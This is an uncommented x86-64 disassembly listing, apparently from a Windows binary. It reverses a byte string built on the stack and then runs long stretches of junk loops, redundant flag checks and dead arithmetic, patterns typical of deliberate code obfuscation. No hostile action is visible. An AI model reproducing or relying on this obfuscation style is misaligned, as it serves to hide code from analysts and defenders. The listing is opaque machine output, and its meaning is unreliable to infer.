mov byte [rsp + 0x1c7c9], 0x77
mov byte [rsp + 0x1c7ca], 0x36
mov byte [rsp + 0x1c7cb], 0x63
mov byte [rsp + 0x1c7cc], 0x45
mov byte [rsp + 0x1c7cd], 0x63
lea rcx, [rsp + 0x1c7c0]
call fcn.1401104b0
mov qword [rsp + 0x9f0], rax
mov rcx, qword [rsp + 0x9f0]
call fcn.14010830c
mov qword [rsp + 0x9f8], rax
mov rax, qword [rsp + 0x9f8]
mov qword [rsp + 0xa00], rax
mov dword [rsp + 0x114], 0
jmp 0x1400b4332
mov eax, dword [rsp + 0x114]
inc eax
mov dword [rsp + 0x114], eax
movsxd rax, dword [rsp + 0x114]
cmp rax, 0xe
jae 0x1400b4370
movsxd rax, dword [rsp + 0x114]
mov ecx, SafeArrayDestroy
sub rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x114]
mov rdx, qword [rsp + 0xa00]
movzx eax, byte [rsp + rax + 0x1c7c0]
mov byte [rdx + rcx], al
jmp 0x1400b4322
mov byte [rsp + 0x450], 1
mov byte [rsp + 0x5d], 1
mov byte [rsp + 0x5c], 1
movzx eax, byte [rsp + 0x5d]
test eax, eax
jne 0x1400b4398
movzx eax, byte [rsp + 0x5c]
test eax, eax
je 0x1400b4441
mov dword [rsp + 0x218], 0xbbbd
mov dword [rsp + 0x4dc], 0
jmp 0x1400b43c0
mov eax, dword [rsp + 0x4dc]
inc eax
mov dword [rsp + 0x4dc], eax
cmp dword [rsp + 0x4dc], 0x27
jge 0x1400b43ea
cmp dword [rsp + 0x218], 0
jge 0x1400b43d8
jmp 0x1400b43ea
mov eax, dword [rsp + 0x218]
dec eax
mov dword [rsp + 0x218], eax
jmp 0x1400b43b0
mov dword [rsp + 0x218], 0x2b948
mov dword [rsp + 0x4e0], 0
cmp dword [rsp + 0x4e0], 0x46
jge 0x1400b443c
movzx eax, byte [rsp + 0x5c]
test eax, eax
je 0x1400b441c
movzx eax, byte [rsp + 0x5d]
test eax, eax
jne 0x1400b4425
movzx eax, byte [rsp + 0x5c]
test eax, eax
jne 0x1400b442a
mov byte [rsp + 0x5d], 0
mov eax, dword [rsp + 0x4e0]
inc eax
mov dword [rsp + 0x4e0], eax
jmp 0x1400b4400
jmp 0x1400b5141
mov byte [rsp + 0x451], 1
mov byte [rsp + 0x452], 1
mov byte [rsp + 0x453], 1
mov byte [rsp + 0x9a], 1
mov byte [rsp + 0x42], 1
movzx eax, byte [rsp + 0x9a]
test eax, eax
je 0x1400b452f
movzx eax, byte [rsp + 0x42]
test eax, eax
je 0x1400b452f
mov dword [rsp + 0x21c], 0x43b2
mov dword [rsp + 0x4e4], 0
jmp 0x1400b44ab
mov eax, dword [rsp + 0x4e4]
inc eax
mov dword [rsp + 0x4e4], eax
cmp dword [rsp + 0x4e4], 0x19
jge 0x1400b44d5
cmp dword [rsp + 0x21c], 0
jge 0x1400b44c3
jmp 0x1400b44d5
mov eax, dword [rsp + 0x21c]
dec eax
mov dword [rsp + 0x21c], eax
jmp 0x1400b449b
mov dword [rsp + 0x21c], 0x64993
mov dword [rsp + 0x4e8], 0
cmp dword [rsp + 0x4e8], 0x55
jge 0x1400b452a
movzx eax, byte [rsp + 0x9a]
test eax, eax
je 0x1400b450a
movzx eax, byte [rsp + 0x42]
test eax, eax
jne 0x1400b4513
movzx eax, byte [rsp + 0x42]
test eax, eax
jne 0x1400b4518
mov byte [rsp + 0x42], 0
mov eax, dword [rsp + 0x4e8]
inc eax
mov dword [rsp + 0x4e8], eax
jmp 0x1400b44eb
jmp 0x1400b476f
lea rax, [rsp + 0x1be0]
mov rdi, rax
xor eax, eax
mov ecx, 0x690
rep stosb byte [rdi], al
mov dword [rsp + 0x220], 0
jmp 0x1400b4560
mov eax, dword [rsp + 0x220]
inc eax
mov dword [rsp + 0x220], eax
movsxd rax, dword [rsp + 0x220]
cmp rax, 7
jae 0x1400b45bf
mov dword [rsp + 0x224], 0
jmp 0x1400b458b
mov eax, dword [rsp + 0x224]
inc eax
mov dword [rsp + 0x224], eax
cmp dword [rsp + 0x224], 0x3c
jge 0x1400b45bd
movsxd rax, dword [rsp + 0x220]
imul rax, rax, 0xf0
lea rax, [rsp + rax + 0x1be0]
movsxd rcx, dword [rsp + 0x224]
mov dword [rax + rcx*4], 0x229e
jmp 0x1400b457b
jmp 0x1400b4550
lea rax, [rsp + 0x2270]
mov rdi, rax
xor eax, eax
mov ecx, 0x690
rep stosb byte [rdi], al
mov dword [rsp + 0x228], 0
jmp 0x1400b45f0
mov eax, dword [rsp + 0x228]
inc eax
mov dword [rsp + 0x228], eax
movsxd rax, dword [rsp + 0x228]
cmp rax, 7
jae 0x1400b464f
mov dword [rsp + 0x22c], 0
jmp 0x1400b461b
mov eax, dword [rsp + 0x22c]
inc eax
mov dword [rsp + 0x22c], eax
cmp dword [rsp + 0x22c], 0x3c
jge 0x1400b464d
movsxd rax, dword [rsp + 0x228]
imul rax, rax, 0xf0
lea rax, [rsp + rax + 0x2270]
movsxd rcx, dword [rsp + 0x22c]
mov dword [rax + rcx*4], 0xac5
jmp 0x1400b460b
jmp 0x1400b45e0
lea rax, [rsp + 0x1550]
mov rdi, rax
xor eax, eax
mov ecx, 0x690
rep stosb byte [rdi], al
mov dword [rsp + 0x230], 0
jmp 0x1400b4680
mov eax, dword [rsp + 0x230]
inc eax
mov dword [rsp + 0x230], eax
movsxd rax, dword [rsp + 0x230]
cmp rax, 7
jae 0x1400b46df
mov dword [rsp + 0x234], 0
jmp 0x1400b46ab
mov eax, dword [rsp + 0x234]
inc eax
mov dword [rsp + 0x234], eax
cmp dword [rsp + 0x234], 0x3c
jge 0x1400b46dd
movsxd rax, dword [rsp + 0x230]
imul rax, rax, 0xf0
lea rax, [rsp + rax + 0x1550]
movsxd rcx, dword [rsp + 0x234]
mov dword [rax + rcx*4], 0xb7f
jmp 0x1400b469b
jmp 0x1400b4670
lea rax, [rsp + 0x2900]
mov rdi, rax
xor eax, eax
mov ecx, 0x690
rep stosb byte [rdi], al
mov dword [rsp + 0x238], 0
jmp 0x1400b4710
mov eax, dword [rsp + 0x238]
inc eax
mov dword [rsp + 0x238], eax
movsxd rax, dword [rsp + 0x238]
cmp rax, 7
jae 0x1400b476f
mov dword [rsp + 0x23c], 0
jmp 0x1400b473b
mov eax, dword [rsp + 0x23c]
inc eax
mov dword [rsp + 0x23c], eax
cmp dword [rsp + 0x23c], 0x3c
jge 0x1400b476d
movsxd rax, dword [rsp + 0x238]
imul rax, rax, 0xf0
lea rax, [rsp + rax + 0x2900]
movsxd rcx, dword [rsp + 0x23c]
mov dword [rax + rcx*4], 0x13c8
jmp 0x1400b472b
jmp 0x1400b4700
mov byte [rsp + 0x454], 0
mov byte [rsp + 0x455], 1
mov byte [rsp + 0xce], 0
mov byte [rsp + 0x43], 1
mov byte [rsp + 0x9b], 1
movzx eax, byte [rsp + 0xce]
test eax, eax
jne 0x1400b47b9
movzx eax, byte [rsp + 0x43]
test eax, eax
jne 0x1400b47b9
movzx eax, byte [rsp + 0x9b]
test eax, eax
je 0x1400b4865
mov dword [rsp + 0x240], 0x1534f
mov dword [rsp + 0x4ec], 0
jmp 0x1400b47e1
mov eax, dword [rsp + 0x4ec]
inc eax
mov dword [rsp + 0x4ec], eax
cmp dword [rsp + 0x4ec], 0x25
jge 0x1400b480b
cmp dword [rsp + 0x240], 0
jge 0x1400b47f9
jmp 0x1400b480b
mov eax, dword [rsp + 0x240]
dec eax
mov dword [rsp + 0x240], eax
jmp 0x1400b47d1
mov dword [rsp + 0x240], 0x47690
mov dword [rsp + 0x4f0], 0
cmp dword [rsp + 0x4f0], 0x48
jge 0x1400b4860
movzx eax, byte [rsp + 0x9b]
test eax, eax
je 0x1400b4840
movzx eax, byte [rsp + 0x43]
test eax, eax
jne 0x1400b4849
movzx eax, byte [rsp + 0x43]
test eax, eax
jne 0x1400b484e
mov byte [rsp + 0x43], 1
mov eax, dword [rsp + 0x4f0]
inc eax
mov dword [rsp + 0x4f0], eax
jmp 0x1400b4821
jmp 0x1400b5075
mov byte [rsp + 0x456], 1
mov byte [rsp + 0x457], 0
mov byte [rsp + 0x5e], 0
mov byte [rsp + 0xcf], 1
mov byte [rsp + 0x5f], 0
movzx eax, byte [rsp + 0x5e]
test eax, eax
je 0x1400b4955
movzx eax, byte [rsp + 0xcf]
test eax, eax
je 0x1400b4955
movzx eax, byte [rsp + 0x5f]
test eax, eax
je 0x1400b4955
mov dword [rsp + 0x244], 0x5bce
mov dword [rsp + 0x4f4], 0
jmp 0x1400b48d9
mov eax, dword [rsp + 0x4f4]
inc eax
mov dword [rsp + 0x4f4], eax
cmp dword [rsp + 0x4f4], 0xb
jge 0x1400b4903
cmp dword [rsp + 0x244], 0
jge 0x1400b48f1
jmp 0x1400b4903
mov eax, dword [rsp + 0x244]
dec eax
mov dword [rsp + 0x244], eax
jmp 0x1400b48c9
mov dword [rsp + 0x244], 0xd5dde
mov dword [rsp + 0x4f8], 0
cmp dword [rsp + 0x4f8], 0x37
jge 0x1400b4955
movzx eax, byte [rsp + 0x5e]
test eax, eax
je 0x1400b4935
movzx eax, byte [rsp + 0x5f]
test eax, eax
jne 0x1400b493e
movzx eax, byte [rsp + 0x5e]
test eax, eax
jne 0x1400b4943
mov byte [rsp + 0x5f], 1
mov eax, dword [rsp + 0x4f8]
inc eax
mov dword [rsp + 0x4f8], eax
jmp 0x1400b4919
mov byte [rsp + 0x458], 1
mov byte [rsp + 0x459], 1
mov byte [rsp + 0x44], 0
mov byte [rsp + 0x9c], 0
movzx eax, byte [rsp + 0x44]
test eax, eax
je 0x1400b4a36
movzx eax, byte [rsp + 0x9c]
test eax, eax
je 0x1400b4a36
mov dword [rsp + 0x248], 0x759
mov dword [rsp + 0x4fc], 0
jmp 0x1400b49b7
mov eax, dword [rsp + 0x4fc]
inc eax
mov dword [rsp + 0x4fc], eax
cmp dword [rsp + 0x4fc], 0x19
jge 0x1400b49e1
cmp dword [rsp + 0x248], 0
jge 0x1400b49cf
jmp 0x1400b49e1
mov eax, dword [rsp + 0x248]
dec eax
mov dword [rsp + 0x248], eax
jmp 0x1400b49a7
mov dword [rsp + 0x248], 0x264c4
mov dword [rsp + 0x500], 0
cmp dword [rsp + 0x500], 0x24
jge 0x1400b4a36
movzx eax, byte [rsp + 0x44]
test eax, eax
je 0x1400b4a16
movzx eax, byte [rsp + 0x9c]
test eax, eax
jne 0x1400b4a1f
movzx eax, byte [rsp + 0x44]
test eax, eax
jne 0x1400b4a24
mov byte [rsp + 0x44], 1
mov eax, dword [rsp + 0x500]
inc eax
mov dword [rsp + 0x500], eax
jmp 0x1400b49f7
mov byte [rsp + 0x45a], 1
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x9d], 0
mov byte [rsp + 0x9e], 1
movzx eax, byte [rsp + 0x60]
test eax, eax
je 0x1400b4a68
movzx eax, byte [rsp + 0x9d]
test eax, eax
jne 0x1400b4a78
movzx eax, byte [rsp + 0x9e]
test eax, eax
je 0x1400b4b27
mov dword [rsp + 0x24c], 0x172a5
mov dword [rsp + 0x504], 0
jmp 0x1400b4aa0
mov eax, dword [rsp + 0x504]
inc eax
mov dword [rsp + 0x504], eax
cmp dword [rsp + 0x504], 0x12
jge 0x1400b4aca
cmp dword [rsp + 0x24c], 0
jge 0x1400b4ab8
jmp 0x1400b4aca
mov eax, dword [rsp + 0x24c]
dec eax
mov dword [rsp + 0x24c], eax
jmp 0x1400b4a90
mov dword [rsp + 0x24c], 0x167b8
mov dword [rsp + 0x508], 0
cmp dword [rsp + 0x508], 0x2f
jge 0x1400b4b22
movzx eax, byte [rsp + 0x9d]
test eax, eax
je 0x1400b4aff
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x1400b4b08
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x1400b4b10
mov byte [rsp + 0x9e], 1
mov eax, dword [rsp + 0x508]
inc eax
mov dword [rsp + 0x508], eax
jmp 0x1400b4ae0
jmp 0x1400b4fa0
mov byte [rsp + 0x45b], 1
mov byte [rsp + 0x61], 0
mov byte [rsp + 0x9f], 1
mov byte [rsp + 0xa0], 1
mov byte [rsp + 0xd0], 1
movzx eax, byte [rsp + 0x61]
test eax, eax
je 0x1400b4c33
movzx eax, byte [rsp + 0x9f]
test eax, eax
je 0x1400b4c33
movzx eax, byte [rsp + 0xa0]
test eax, eax
je 0x1400b4c33
movzx eax, byte [rsp + 0xd0]
test eax, eax
je 0x1400b4c33
mov dword [rsp + 0x250], 0xeb74
mov dword [rsp + 0x50c], 0
jmp 0x1400b4bb1
mov eax, dword [rsp + 0x50c]
inc eax
mov dword [rsp + 0x50c], eax
cmp dword [rsp + 0x50c], 0x2d
jge 0x1400b4bdb
cmp dword [rsp + 0x250], 0
jge 0x1400b4bc9
jmp 0x1400b4bdb
mov eax, dword [rsp + 0x250]
dec eax
mov dword [rsp + 0x250], eax
jmp 0x1400b4ba1
mov dword [rsp + 0x250], 0x238c7
mov dword [rsp + 0x510], 0
cmp dword [rsp + 0x510], 0x56
jge 0x1400b4c33
movzx eax, byte [rsp + 0x9f]
test eax, eax
je 0x1400b4c13
movzx eax, byte [rsp + 0xa0]
test eax, eax
jne 0x1400b4c1c
movzx eax, byte [rsp + 0x61]
test eax, eax
jne 0x1400b4c21
mov byte [rsp + 0x61], 0
mov eax, dword [rsp + 0x510]
inc eax
mov dword [rsp + 0x510], eax
jmp 0x1400b4bf1
mov byte [rsp + 0x45c], 0
mov byte [rsp + 0xa1], 0
mov byte [rsp + 0xa2], 0
mov byte [rsp + 0x62], 1
movzx eax, byte [rsp + 0xa1]
test eax, eax
jne 0x1400b4c79
movzx eax, byte [rsp + 0xa2]
test eax, eax
je 0x1400b4d28
movzx eax, byte [rsp + 0x62]
test eax, eax
je 0x1400b4d28
mov dword [rsp + 0x254], 0x3e39
mov dword [rsp + 0x514], 0
jmp 0x1400b4ca1
mov eax, dword [rsp + 0x514]
inc eax
mov dword [rsp + 0x514], eax
cmp dword [rsp + 0x514], 0x28
jge 0x1400b4ccb
cmp dword [rsp + 0x254], 0
jge 0x1400b4cb9
jmp 0x1400b4ccb
mov eax, dword [rsp + 0x254]
dec eax
mov dword [rsp + 0x254], eax
jmp 0x1400b4c91
mov dword [rsp + 0x254], 0x617d1
mov dword [rsp + 0x518], 0
cmp dword [rsp + 0x518], 0x11
jge 0x1400b4d23
movzx eax, byte [rsp + 0x62]
test eax, eax
je 0x1400b4cfd
movzx eax, byte [rsp + 0x62]
test eax, eax
jne 0x1400b4d09
movzx eax, byte [rsp + 0xa1]
test eax, eax
jne 0x1400b4d11
mov byte [rsp + 0xa2], 0
mov eax, dword [rsp + 0x518]
inc eax
mov dword [rsp + 0x518], eax
jmp 0x1400b4ce1
jmp 0x1400b4ebc
mov qword [rsp + 0xa08], 0xf3c
mov dword [rsp + 0x788], 0x84f
mov eax, 0x1da5
sub eax, dword [rsp + 0x788]
cdqe
mov qword [rsp + 0xa10], rax
mov eax, 0xd49
cqo
idiv qword [rsp + 0xa08]
mov rcx, qword [rsp + 0xa10]
add rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x788]
lea rax, [rax + rcx + 0xf2c]
mov dword [rsp + 0x920], eax
mov dword [rsp + 0x764], 0x1237
mov dword [rsp + 0x78c], 0x24ca
mov eax, dword [rsp + 0x764]
cdq
mov ecx, 0x20a9
idiv ecx
mov ecx, 0x25ed
sub ecx, eax
mov eax, ecx
add eax, dword [rsp + 0x78c]
mov ecx, dword [rsp + 0x78c]
lea eax, [rax + rcx + 0x1aa7]
sub eax, dword [rsp + 0x764]
add eax, 0x1209
mov word [rsp + 0x894], ax
mov dword [rsp + 0x7f0], 0x2c1
mov eax, 0x1073
mov word [rsp + 0x11c], ax
movsx eax, word [rsp + 0x11c]
mov dword [rsp + 0x7ec], eax
mov eax, 0xc65
cdq
mov ecx, dword [rsp + 0x7ec]
idiv ecx
cdq
mov ecx, 0x220b
idiv ecx
movsx ecx, word [rsp + 0x11c]
cdq
idiv ecx
mov dword [rsp + 0x7f4], eax
mov eax, dword [rsp + 0x7f0]
cdq
mov ecx, 0x1e67
idiv ecx
mov ecx, dword [rsp + 0x7f4]
lea eax, [rcx + rax + 0x77]
mov dword [rsp + 0x924], eax
mov dword [rsp + 0x928], 0x4ff
mov dword [rsp + 0x258], 0x71e
mov eax, dword [rsp + 0x258]
cdq
mov ecx, 0x22f2
idiv ecx
add eax, 0x21fb
sub eax, dword [rsp + 0x258]
add eax, 0x1e4d
mov dword [rsp + 0x7f8], eax
mov eax, dword [rsp + 0x258]
cdq
mov ecx, 0x251d
idiv ecx
mov ecx, dword [rsp + 0x7f8]
sub ecx, eax
mov eax, ecx
sub eax, dword [rsp + 0x258]
sub eax, 0x1178
mov word [rsp + 0x890], ax
mov byte [rsp + 0x45d], 1
mov byte [rsp + 0x45e], 1
mov byte [rsp + 0x45f], 1
mov byte [rsp + 0x64], 1
mov byte [rsp + 0x63], 1
movzx eax, byte [rsp + 0x64]
test eax, eax
jne 0x1400b4ef4
movzx eax, byte [rsp + 0x63]
test eax, eax
je 0x1400b4f98
mov dword [rsp + 0x25c], 0x4679
mov dword [rsp + 0x51c], 0
jmp 0x1400b4f1c
mov eax, dword [rsp + 0x51c]
inc eax
mov dword [rsp + 0x51c], eax
cmp dword [rsp + 0x51c], 0x21
jge 0x1400b4f46
cmp dword [rsp + 0x25c], 0
jge 0x1400b4f34
jmp 0x1400b4f46
mov eax, dword [rsp + 0x25c]
dec eax
mov dword [rsp + 0x25c], eax
jmp 0x1400b4f0c
mov dword [rsp + 0x25c], 0x9f255
mov dword [rsp + 0x520], 0
cmp dword [rsp + 0x520], 0x16
jge 0x1400b4f98
movzx eax, byte [rsp + 0x64]
test eax, eax
je 0x1400b4f78
movzx eax, byte [rsp + 0x63]
test eax, eax
jne 0x1400b4f81
movzx eax, byte [rsp + 0x63]
test eax, eax
jne 0x1400b4f86
mov byte [rsp + 0x64], 0
mov eax, dword [rsp + 0x520]
inc eax
mov dword [rsp + 0x520], eax
jmp 0x1400b4f5c
mov byte [rsp + 0x460], 0
mov byte [rsp + 0x461], 1
mov byte [rsp + 0x45], 0
mov byte [rsp + 0xa3], 0
movzx eax, byte [rsp + 0x45]
test eax, eax
jne 0x1400b4fce
movzx eax, byte [rsp + 0xa3]
test eax, eax
je 0x1400b5075
mov dword [rsp + 0x260], 0xcc6e
mov dword [rsp + 0x524], 0
jmp 0x1400b4ff6
mov eax, dword [rsp + 0x524]
inc eax
mov dword [rsp + 0x524], eax
cmp dword [rsp + 0x524], 0x1a
jge 0x1400b5020
cmp dword [rsp + 0x260], 0
jge 0x1400b500e
jmp 0x1400b5020
mov eax, dword [rsp + 0x260]
dec eax
mov dword [rsp + 0x260], eax
jmp 0x1400b4fe6
mov dword [rsp + 0x260], 0xceb75
mov dword [rsp + 0x528], 0
cmp dword [rsp + 0x528], 0xf
jge 0x1400b5075
movzx eax, byte [rsp + 0xa3]
test eax, eax
je 0x1400b5055
movzx eax, byte [rsp + 0x45]
test eax, eax
jne 0x1400b505e
movzx eax, byte [rsp + 0x45]
test eax, eax
jne 0x1400b5063
mov byte [rsp + 0x45], 0
mov eax, dword [rsp + 0x528]
inc eax
mov dword [rsp + 0x528], eax
jmp 0x1400b5036
mov byte [rsp + 0x462], 0
mov byte [rsp + 0x65], 1
mov byte [rsp + 0x66], 1
movzx eax, byte [rsp + 0x65]
test eax, eax
jne 0x1400b509d
movzx eax, byte [rsp + 0x66]
test eax, eax
je 0x1400b5141
mov dword [rsp + 0x264], 0xb4ff
mov dword [rsp + 0x52c], 0
jmp 0x1400b50c5
mov eax, dword [rsp + 0x52c]
inc eax
mov dword [rsp + 0x52c], eax
cmp dword [rsp + 0x52c], 0x16
jge 0x1400b50ef
cmp dword [rsp + 0x264], 0
jge 0x1400b50dd
jmp 0x1400b50ef
mov eax, dword [rsp + 0x264]
dec eax
mov dword [rsp + 0x264], eax
jmp 0x1400b50b5
mov dword [rsp + 0x264], 0x1b48e
mov dword [rsp + 0x530], 0
cmp dword [rsp + 0x530], 4
jge 0x1400b5141
movzx eax, byte [rsp + 0x65]
test eax, eax
je 0x1400b5121
movzx eax, byte [rsp + 0x66]
test eax, eax
jne 0x1400b512a
movzx eax, byte [rsp + 0x65]
test eax, eax
jne 0x1400b512f
mov byte [rsp + 0x66], 1
mov eax, dword [rsp + 0x530]
inc eax
mov dword [rsp + 0x530], eax
jmp 0x1400b5105
mov byte [rsp + 0x463], 0
mov byte [rsp + 0xd1], 1
mov byte [rsp + 0xa4], 0
mov byte [rsp + 0x46], 1
movzx eax, byte [rsp + 0xd1]
test eax, eax
je 0x1400b5176
movzx eax, byte [rsp + 0xa4]
test eax, eax
jne 0x1400b5183
movzx eax, byte [rsp + 0x46]
test eax, eax
je 0x1400b522f
mov dword [rsp + 0x268], 0x735b
mov dword [rsp + 0x534], 0
jmp 0x1400b51ab
mov eax, dword [rsp + 0x534]
inc eax
mov dword [rsp + 0x534], eax
cmp dword [rsp + 0x534], 8
jge 0x1400b51d5
cmp dword [rsp + 0x268], 0
jge 0x1400b51c3
jmp 0x1400b51d5
mov eax, dword [rsp + 0x268]
dec eax
mov dword [rsp + 0x268], eax
jmp 0x1400b519b
mov dword [rsp + 0x268], 0x9dffa
mov dword [rsp + 0x538], 0
cmp dword [rsp + 0x538], 0x4f
jge 0x1400b522a
movzx eax, byte [rsp + 0x46]
test eax, eax
je 0x1400b520a
movzx eax, byte [rsp + 0xa4]
test eax, eax
jne 0x1400b5213
movzx eax, byte [rsp + 0x46]
test eax, eax
jne 0x1400b5218
mov byte [rsp + 0x46], 0
mov eax, dword [rsp + 0x538]
inc eax
mov dword [rsp + 0x538], eax
jmp 0x1400b51eb
jmp 0x1400b685c
mov byte [rsp + 0x3b0], 1
mov byte [rsp + 0x3b1], 1
mov byte [rsp + 0x27], 0
movzx eax, byte [rsp + 0x27]
test eax, eax
je 0x1400b52fa
mov dword [rsp + 0x26c], 0xdcef
mov dword [rsp + 0x53c], 0
jmp 0x1400b5279
mov eax, dword [rsp + 0x53c]
inc eax
mov dword [rsp + 0x53c], eax
cmp dword [rsp + 0x53c], 0xd
jge 0x1400b52a3
cmp dword [rsp + 0x26c], 0
jge 0x1400b5291
jmp 0x1400b52a3
mov eax, dword [rsp + 0x26c]
dec eax
mov dword [rsp + 0x26c], eax
jmp 0x1400b5269
mov dword [rsp + 0x26c], 0xd7a7e
mov dword [rsp + 0x540], 0
cmp dword [rsp + 0x540], 9
jge 0x1400b52f5
movzx eax, byte [rsp + 0x27]
test eax, eax
je 0x1400b52d5
movzx eax, byte [rsp + 0x27]
test eax, eax
jne 0x1400b52de
movzx eax, byte [rsp + 0x27]
test eax, eax
jne 0x1400b52e3
mov byte [rsp + 0x27], 0
mov eax, dword [rsp + 0x540]
inc eax
mov dword [rsp + 0x540], eax
jmp 0x1400b52b9
jmp 0x1400b6432
mov byte [rsp + 0x3b2], 1
mov byte [rsp + 0xd2], 1
mov byte [rsp + 0x67], 0
mov byte [rsp + 0x68], 0
movzx eax, byte [rsp + 0xd2]
test eax, eax
je 0x1400b5329
movzx eax, byte [rsp + 0x67]
test eax, eax
jne 0x1400b5336
movzx eax, byte [rsp + 0x68]
test eax, eax
je 0x1400b53da
mov dword [rsp + 0x270], 0x1277d
mov dword [rsp + 0x544], 0
jmp 0x1400b535e
mov eax, dword [rsp + 0x544]
inc eax
mov dword [rsp + 0x544], eax
cmp dword [rsp + 0x544], 0x13
jge 0x1400b5388
cmp dword [rsp + 0x270], 0
jge 0x1400b5376
jmp 0x1400b5388
mov eax, dword [rsp + 0x270]
dec eax
mov dword [rsp + 0x270], eax
jmp 0x1400b534e
mov dword [rsp + 0x270], 0xa107
mov dword [rsp + 0x548], 0
cmp dword [rsp + 0x548], 0x1d
jge 0x1400b53da
movzx eax, byte [rsp + 0x67]
test eax, eax
je 0x1400b53ba
movzx eax, byte [rsp + 0x67]
test eax, eax
jne 0x1400b53c3
movzx eax, byte [rsp + 0x68]
test eax, eax
jne 0x1400b53c8
mov byte [rsp + 0x68], 0
mov eax, dword [rsp + 0x548]
inc eax
mov dword [rsp + 0x548], eax
jmp 0x1400b539e
mov byte [rsp + 0x3b3], 1
mov byte [rsp + 0xd3], 0
mov byte [rsp + 0x69], 1
mov byte [rsp + 0x6a], 0
movzx eax, byte [rsp + 0xd3]
test eax, eax
jne 0x1400b5416
movzx eax, byte [rsp + 0x69]
test eax, eax
jne 0x1400b5416
movzx eax, byte [rsp + 0x6a]
test eax, eax
je 0x1400b54ba
mov dword [rsp + 0x274], 0xd2f7
mov dword [rsp + 0x54c], 0
jmp 0x1400b543e
mov eax, dword [rsp + 0x54c]
inc eax
mov dword [rsp + 0x54c], eax
cmp dword [rsp + 0x54c], 0x2b
jge 0x1400b5468
cmp dword [rsp + 0x274], 0
jge 0x1400b5456
jmp 0x1400b5468
mov eax, dword [rsp + 0x274]
dec eax
mov dword [rsp + 0x274], eax
jmp 0x1400b542e
mov dword [rsp + 0x274], 0x41774
mov dword [rsp + 0x550], 0
cmp dword [rsp + 0x550], 7
jge 0x1400b54ba
movzx eax, byte [rsp + 0x6a]
test eax, eax
je 0x1400b549a
movzx eax, byte [rsp + 0x69]
test eax, eax
jne 0x1400b54a3
movzx eax, byte [rsp + 0x69]
test eax, eax
jne 0x1400b54a8
mov byte [rsp + 0x6a], 1
mov eax, dword [rsp + 0x550]
inc eax
mov dword [rsp + 0x550], eax
jmp 0x1400b547e
mov byte [rsp + 0x3b4], 0
mov byte [rsp + 0x6c], 1
mov byte [rsp + 0xd4], 0
mov byte [rsp + 0x6b], 0
movzx eax, byte [rsp + 0x6c]
test eax, eax
je 0x1400b55a7
movzx eax, byte [rsp + 0xd4]
test eax, eax
je 0x1400b55a7
movzx eax, byte [rsp + 0x6b]
test eax, eax
je 0x1400b55a7
mov dword [rsp + 0x278], 0x5188
mov dword [rsp + 0x554], 0
jmp 0x1400b5526
mov eax, dword [rsp + 0x554]
inc eax
mov dword [rsp + 0x554], eax
cmp dword [rsp + 0x554], 0x25
jge 0x1400b5550
cmp dword [rsp + 0x278], 0
jge 0x1400b553e
jmp 0x1400b5550
mov eax, dword [rsp + 0x278]
dec eax
mov dword [rsp + 0x278], eax
jmp 0x1400b5516
mov dword [rsp + 0x278], 0xac97d
mov dword [rsp + 0x558], 0
cmp dword [rsp + 0x558], 0x54
jge 0x1400b55a2
movzx eax, byte [rsp + 0x6c]
test eax, eax
je 0x1400b5582
movzx eax, byte [rsp + 0x6b]
test eax, eax
jne 0x1400b558b
movzx eax, byte [rsp + 0x6b]
test eax, eax
jne 0x1400b5590
mov byte [rsp + 0x6c], 1
mov eax, dword [rsp + 0x558]
inc eax
mov dword [rsp + 0x558], eax
jmp 0x1400b5566
jmp 0x1400b5757
lea rax, [rsp + 0xdef0]
mov rdi, rax
xor eax, eax
mov ecx, 0x1340
rep stosb byte [rdi], al
mov dword [rsp + 0x27c], 0
jmp 0x1400b55d8
mov eax, dword [rsp + 0x27c]
inc eax
mov dword [rsp + 0x27c], eax
movsxd rax, dword [rsp + 0x27c]
cmp rax, 0xb
jae 0x1400b5637
mov dword [rsp + 0x280], 0
jmp 0x1400b5603
mov eax, dword [rsp + 0x280]
inc eax
mov dword [rsp + 0x280], eax
cmp dword [rsp + 0x280], 0x70
jge 0x1400b5635
movsxd rax, dword [rsp + 0x27c]
imul rax, rax, 0x1c0
lea rax, [rsp + rax + 0xdef0]
movsxd rcx, dword [rsp + 0x280]
mov dword [rax + rcx*4], 0xf32
jmp 0x1400b55f3
jmp 0x1400b55c8
lea rax, [rsp + 0xf230]
mov rdi, rax
xor eax, eax
mov ecx, 0x1340
rep stosb byte [rdi], al
mov dword [rsp + 0x284], 0
jmp 0x1400b5668
mov eax, dword [rsp + 0x284]
inc eax
mov dword [rsp + 0x284], eax
movsxd rax, dword [rsp + 0x284]
cmp rax, 0xb
jae 0x1400b56c7
mov dword [rsp + 0x288], 0
jmp 0x1400b5693
mov eax, dword [rsp + 0x288]
inc eax
mov dword [rsp + 0x288], eax
cmp dword [rsp + 0x288], 0x70
jge 0x1400b56c5
movsxd rax, dword [rsp + 0x284]
imul rax, rax, 0x1c0
lea rax, [rsp + rax + 0xf230]
movsxd rcx, dword [rsp + 0x288]
mov dword [rax + rcx*4], 0xd12
jmp 0x1400b5683
jmp 0x1400b5658
lea rax, [rsp + 0x10570]
mov rdi, rax
xor eax, eax
mov ecx, 0x1340
rep stosb byte [rdi], al
mov dword [rsp + 0x28c], 0
jmp 0x1400b56f8
mov eax, dword [rsp + 0x28c]
inc eax
mov dword [rsp + 0x28c], eax
movsxd rax, dword [rsp + 0x28c]
cmp rax, 0xb
jae 0x1400b5757
mov dword [rsp + 0x290], 0
jmp 0x1400b5723
mov eax, dword [rsp + 0x290]
inc eax
mov dword [rsp + 0x290], eax
cmp dword [rsp + 0x290], 0x70
jge 0x1400b5755
movsxd rax, dword [rsp + 0x28c]
imul rax, rax, 0x1c0
lea rax, [rsp + rax + 0x10570]
movsxd rcx, dword [rsp + 0x290]
mov dword [rax + rcx*4], 0xc62
jmp 0x1400b5713
jmp 0x1400b56e8
mov byte [rsp + 0x3b5], 1
mov byte [rsp + 0xa5], 0
mov byte [rsp + 0xa6], 0
mov byte [rsp + 0x6d], 0
movzx eax, byte [rsp + 0xa5]
test eax, eax
je 0x1400b5850
movzx eax, byte [rsp + 0xa6]
test eax, eax
je 0x1400b5850
movzx eax, byte [rsp + 0x6d]
test eax, eax
je 0x1400b5850
mov dword [rsp + 0x294], 0x97b0
mov dword [rsp + 0x55c], 0
jmp 0x1400b57c9
mov eax, dword [rsp + 0x55c]
inc eax
